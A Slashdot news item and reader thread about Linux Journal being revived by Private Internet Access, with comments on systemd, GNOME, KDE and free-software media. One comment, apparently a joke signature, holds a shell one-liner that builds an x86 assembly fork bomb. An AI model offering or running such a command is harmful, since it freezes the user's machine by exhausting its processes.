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LinuxJournal, Which Ceased Publication Last Month Citing Poor Financial Condition, Secures Fresh Fund From Readers To Resume Operation (linuxjournal.com)
New submitter dataknife2 writes: LinuxJournal announced in Nov 2017 that they were going to cease publication; With some timely intervention by Private Internet Access they are going to be able to continue operation and are currently soliciting feedback for improving the magazine in the future. In a blog post, team at LinuxJournal wrote: Talk about a Happy New Year. The reason: it turns out we're not dead. In fact, we're more alive than ever, thanks to a rescue by readers -- specifically, by the hackers who run Private Internet Access (PIA) VPN, a London Trust Media company. PIA are avid supporters of freenode and the larger FOSS community. They're also all about Linux and the rest of the modern portfolio of allied concerns: privacy, crypto, freedom, personal agency, rewriting the rules of business and government around all of those, and having fun with constructive hacking of all kinds. We couldn't have asked for a better rescue ship to come along for us. In addition, they aren't merely rescuing this ship we were ready to scuttle; they're making it seaworthy again and are committed to making it bigger and better than we were ever in a position to think about during our entirely self-funded past.
We'll see it AGIIIIINN!
Death comes more than once for some things!
Itâ(TM)s all about cutting costs, preferably all the way down to $0.
This is great news indeed. I have been a subscriber of this magazine, which has a broad spectrum of content from clues for the noob geek to the advanced kernel hacks, etc. The authors have an amateur enthusiasm and a truly funny style. Love to have them back!
I am sure 2018 is year of the linux desktop, so they will be huge in the near future, kudos!
Linux Journal has been around for a very long time. I have been reading it since almost the beginning. It always has something worth my time. For many it has converted casual users into power users of the OS. Because of that, it has a lot of fans. It is an institution in the industry and needs to carry on doing what it does best... Teaching.
"Trademarks are the heraldry of the new feudalism."
While this funding may allow the publication to continue for a bit longer, I don't see how they're addressing the much more serious problem: many long-time and serious Linux users are abandoning Linux, while Linux is attracting very few new users.
Obviously, there won't be long-term demand for a magazine when the audience it caters to is shrinking, or at best it just isn't growing at all.
Of course, this magazine can't really influence why so many of us experienced Linux users are abandoning Linux.
They can't do much to get rid of systemd, which has caused reliability issues for many of us, which in turn renders Linux unusable for servers and other serious usage scenarios.
They can't do much to deal with non-systemd Linux distros like Devuan being amateurish, or like Slackware being too archaic, or Gentoo requiring too much hand-holding to use productively.
They can't do much to get rid of GNOME 3, which has ruined Linux as a workstation OS.
They can't do much to fix KDE, which has become bloated, slow and awkward to use.
They can't do much to get rid of PulseAudio, which has wasted so much of our time.
They can't do anything to address how OSes like Windows and macOS have become far more stable and usable than Linux.
And don't even bother bringing up Android. Android shouldn't be considered Linux, even if the Linux kernel is present, because the kernel is so deeply hidden away from users and app developers.
I can't see how this magazine will hope to survive as more and more Linux users are moving to OSes like FreeBSD, macOS, and even Windows.
My yearly PIA subscription went through a day or two ago and I considered cancelling the service. If they use some money to fund worthy ventures like this, I feel better about keeping my subscription active.
Linux Journal gave me my first experience programming libSDL, I was bummed out when I heard the news it was shutting down.
The more resources that can educate and bring people into the fold the better! The Linux/FOSS community can be intimidating for the first time user so well written articles can help make the leap less painful.
Congratulations to Linux Journal, for being the first Undead journal, and Happy New Year, best of luck in continuing fine tech journalism
Many thanks to those l33t ha>0rz of PIA for this noble gesture. I wish to subscribe to your newsletter, or just send me a link =]
All the best to each of these parties, for this year
WARNING: Smartphones have side effects--most of them undocumented.
â(TM)
Apple fans show their people skills once again.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
We're NOT DEAD YET
I've been happy with PIA's service during the short time I've been a customer. Hearing this, there's no way I'll be looking anywhere else for a VPN.
Thanks, guys, for being a good corporate citizen.
Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.
Until they couldn't pay me for about 4 months in a row, and that was about 5 years ago. It's been touch and go for LJ for ages.
Here's one of my articles from about 8 years ago: http://www.linuxjournal.com/co...
Unfortunately the latest issue has an article about systemd on page 1 so it won't open beyond that point.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
They can't do much to get rid of systemd, which has caused reliability issues for many of us, which in turn renders Linux unusable for servers and other serious usage scenarios.-- -see MX linux comment below.
They can't do much to deal with non-systemd Linux distros like Devuan being amateurish, or like Slackware being too archaic, or Gentoo requiring too much hand-holding to use productively. ----Try MX linux, the new MX17 is based on debian stable and has NO systemd. It is definitely not amateurish. See this new review...https://distrowatch.com/weekly.php?issue=20180101#mx
They can't do much to get rid of GNOME 3, which has ruined Linux as a workstation OS.- I never liked GNOME of any number, so I can't comment.
They can't do much to fix KDE, which has become bloated, slow and awkward to use. ----Maybe, I heard 5 is good. I like xfce, in the above mentioned MX linux. Fast and powerful.
They can't do much to get rid of PulseAudio, which has wasted so much of our time.-----on MX linux, sound works out of the box on most hardware, even on a new Ryzen board with an "un-supported" sound chip. The generic intel audio driver worked just fine !
They can't do anything to address how OSes like Windows and macOS have become far more stable and usable than Linux. ----Yea, I hope they do become more stable. Hooked to the same router, my wife's Win 7 system slows down and has network problems after a few days. MX linux has been up and fast for > 40 days. As for Win 10, too much spying built in, and mac OS, dying on the desktop, but hanging in there on linux powered iPhones.
This is the 2nd time in a short period that I've been really happy to be a customer of private internet access. I forget what the other instance was, though!
Oh, and cards against humanity.
It's so nice to see businesses doing stuff with our money besides rewarding the C-suite...
That's ridiculous. It's not like systemd is Candlejack or any
The failure is logged, but you have to remove the staples to read that log.
I don't care to see them survive otherwise. I'm actually working on putting together a show that'll hopefully compete with the kludge of shitty media outlets we currently have that make up the tech land scape. I'm already heavily involved in politics, freedom, and free software development. I am perfectly situated to produce a show and am active in radio. I co-host one of the most listened to shows in the world which regularly brings up tech and freedom issues and advertises GNU/Linux and crypto although our main audience isn't tech- it's actual radio. I routinely bring up GNU/Linux and freedom on the talk show that currently airs on around 200 radio stations, satellite, and online. I will say that I like some of the publications in terms of image, but mostly find the clowns writing for or producing these shows aren't exactly respectable. They don't have the ethos of the hacker spirit. When you start implementing DRM or promoting proprietary horse shit you just don't get it. I get why one might think they need to promote proprietary horse shit- I was there once too. Hell- I did a short stint at Lindows/Linspire back in the day before I came to the conclusion the solution to our dilemma was crap and never going to work- proprietary software that is. The solution to the problems has always been free software and businesses models that revolve around making GNU/Linux usable for the masses. It was never going to happen overnight without some seriously big investor who got it- and we just haven't seen that. Fortunately a lot has been accomplished more in spite of it thanks to a handful of extremely small players. But tomorrow is looking brighter and brighter with $100 million (not public info yet) or so coming to engineering SoCs to solve the libre hardware problem once and for all. A usable desktop and set of software has largely been a solved issue in recent years. So much as I am not put in a situation where I'm forced to utilize proprietary software I'll be reasonably content. I don't need every program to be free, just enough solutions to be free that I have a choice, and retain control of my own damn hardware. I can choose not to carry a phone. I can choose not to install Adobe Photo Shop. I have little choice when government demands I pay taxes and then forces me to utilize an online portal to do so that requires proprietary software. Though I really would like a 100% free phone to and I won't stop working on these issues until every last one is solved.
yay! yay! yay!
While you make a good point about the use of DRM on a publication about free software and freedom, it might help you to know that there has been a recent invention called the 'paragraph' that can really aid the readability of your writing.
I'd love to know what the radio show you host is called, if only to find out if you speak in the same style as you write.
Unfortunately the latest issue has an article about systemd on page 1 so it won't open beyond that point.
Don't worry, it's still opening, it's just taking a full 30 minute timeout because your reading glasses weren't detected properly.